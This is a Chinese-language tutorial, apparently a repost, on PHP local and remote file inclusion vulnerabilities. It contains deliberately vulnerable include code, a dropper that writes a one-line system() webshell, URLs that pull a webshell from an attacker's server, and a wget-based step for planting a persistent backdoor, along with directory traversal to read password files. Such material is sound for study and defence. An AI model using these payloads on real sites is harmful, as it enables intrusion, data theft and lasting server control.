詳解文件包含漏洞


文件包含漏洞觸發前提:

allow_url_fopen = On  &&  allow_url_include = Off     此時才可以觸發本地文件包含漏洞

allow_url_fopen = On  &&  allow_url_include = On     此時才可以觸發遠程文件包含漏洞

其中,allow_url_fopen一直都是默認開啟的,而allow_url_include從PHP5.2之后就是默認關閉的了

涉及到的危險函數:

include(),include_once()
require(),require_once()

include()&&require() 的區別:

            include() 產生一個警告而 require() 則導致一個致命錯誤。也就是include()包含不到文件時還是會繼續運行腳本,而require()包含文本時卻又沒有這個文本就會終止運行腳本。

include_once()&&require_once() 的區別:

            他倆就是保證在代碼被包括后就不會再包括,保證了在文件包含時只能包含一次。

  當前期的系統配置支持的情況下,不合理的使用文件包含,就可能造成文件包含漏洞。

一.本地文件包含

  比如當我們的127.0.0.1/include/fi_local.php文件中有下面源碼,並且include目錄下含有phpinfo.php的時候

代碼截取:

if(isset($_GET['submit']) && $_GET['filename']!=null){
    $filename=$_GET['filename'];
    include "include/$filename";

//通過Get方式提交兩個參數submit和filename,當filename不為空時,就可以實現本地文件的包含

  原本是想讓我們直接提交127.0.0.1/include/fi_local.php?filename=phpinfo.php&submit=提交查詢,此時就可以直接包含phpinfo.php 文件,而當你不以正常想法去包含這個phpinfo.php文件的時候,而是去包含一個不存在的test.php文件時就會出現下面報錯

Warning: include(include/test.php): failed to open stream: No such file or directory in ……/include/fi_local.php on line 23

Warning: include(): Failed opening 'include/test.php' for inclusion (include_path='.;C:\php\pear') in ……/include/fi_local.php on line 23

  當然,我們還可以創建一個寫入了<?php phpinfo(); ?> 的hello.txt文件或者hello.jpg文件,只要是寫入了php語言的任意文件,都可以被文件包含當做php文件讀取出來。

此時我們提交127.0.0.1/include/fi_local.php?filename=hello.txt&submit=提交查詢

就可以查詢php環境信息,模塊和web環境。

二.遠程文件包含

代碼截取:

比如當我們的127.0.0.1/include/fi_remote.php文件中有下面源碼,並且include目錄下含有phpinfo.php的時候

if(isset($_GET['submit']) && $_GET['filename']!=null){
    $filename=$_GET['filename'];
    include "$filename";

//通過Get方式提交兩個參數submit和filename,當filename不為空時,就可以實現遠程文件的包含

此時,我們在127.0.0.1/file/路徑下創建一個文件yijuhua.txt

<?php
  $myfile = fopen("yijuhua.php","w");
  $txt = '<?php system($_GET[hacker]);?>';
  fwrite($myfile,$txt);
  fclose($myfile);
?>

此時我們訪問127.0.0.1/include/fi_remote.php

通過Get方式提交:?filename=http://127.0.0.1/file/yijuhua.txt&submit=提交查詢  時,就會生成一個一句話木馬文件 yijuhua.php

<?php system($_GET[hacker]);?>

然后我們就可以通過蟻劍連接一句話木馬

  當然,既然可以這樣實現木馬文件的創建,我們就可以在自己的服務器上放置一個寫好了的webshell

http://192.168.1.xxx/web/webshell.php

然后通過遠程文件包含漏洞去下載這個webshell

http:xxx.xx.x.xxx/……/fi_remote.php?filename=http://192.168.1.xxx/web/webshell.php&submit=提交查詢

 

文件包含漏洞的危害

通過文件包含漏洞,可以讀取系統中的敏感文件,源代碼文件等,如密碼文件,通過對密碼文件進行暴力破解,若破解成功則可獲取操作系統的用戶賬戶,甚至可通過開放的遠程連接服務進行連接控制;另外文件包含漏洞還可能導致執行任意代碼,不管本地文件包含還是遠程文件包含!

 

文件包含漏洞的利用

一、讀取目標主機上的其他文件,主要是本地文件包含。

  由於一些參數沒有經過過濾,我們就可以通過多次探測可能包含的文件,從而讀取出目標主機中的一些敏感文件,在沒有過濾 ../ 的時候,我們可以通過 ../ 來進行目錄跳轉,從而讀取出其他目錄下的文件,當然在../被過濾掉的情況下我們也可以直接通過絕對路徑進行文件讀取。

二、包含可運行的網頁木馬,主要是遠程文件包含。

  通過跳轉到自己服務器中的webshell,也可以下載通過訪問下載木馬文件在目標主機中,也可以創建一個寫入一些 weget 命令啥的cmd.txt文件在自己主機上,通過構造url去遠程執行命令

  weget命令可以下載指定URL的文件

  pwd可以查看當前絕對路徑

三、包含一個創建文件的相應代碼文件,因為通過文件包含漏洞獲取的shell不是長久的,如果這個漏洞修補了,那么shell也就不存在了,因此需要創建一個真實的shell。我們可以先包含一個可以執行cmd的偽shell,然后使用wget加-O參數(類似:

http://x.x.x.x/index.php?page=http://www.1ster.cn/cmd.txt?cmd=wget http://x.x.x.x/muma.txt -O muma.php)獲取一個真正的webshell。如果系統中沒有wget命令,獲取目錄不可寫,那么我們可以包含一個創建文件的腳本,然后通過腳本上傳木馬文件。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM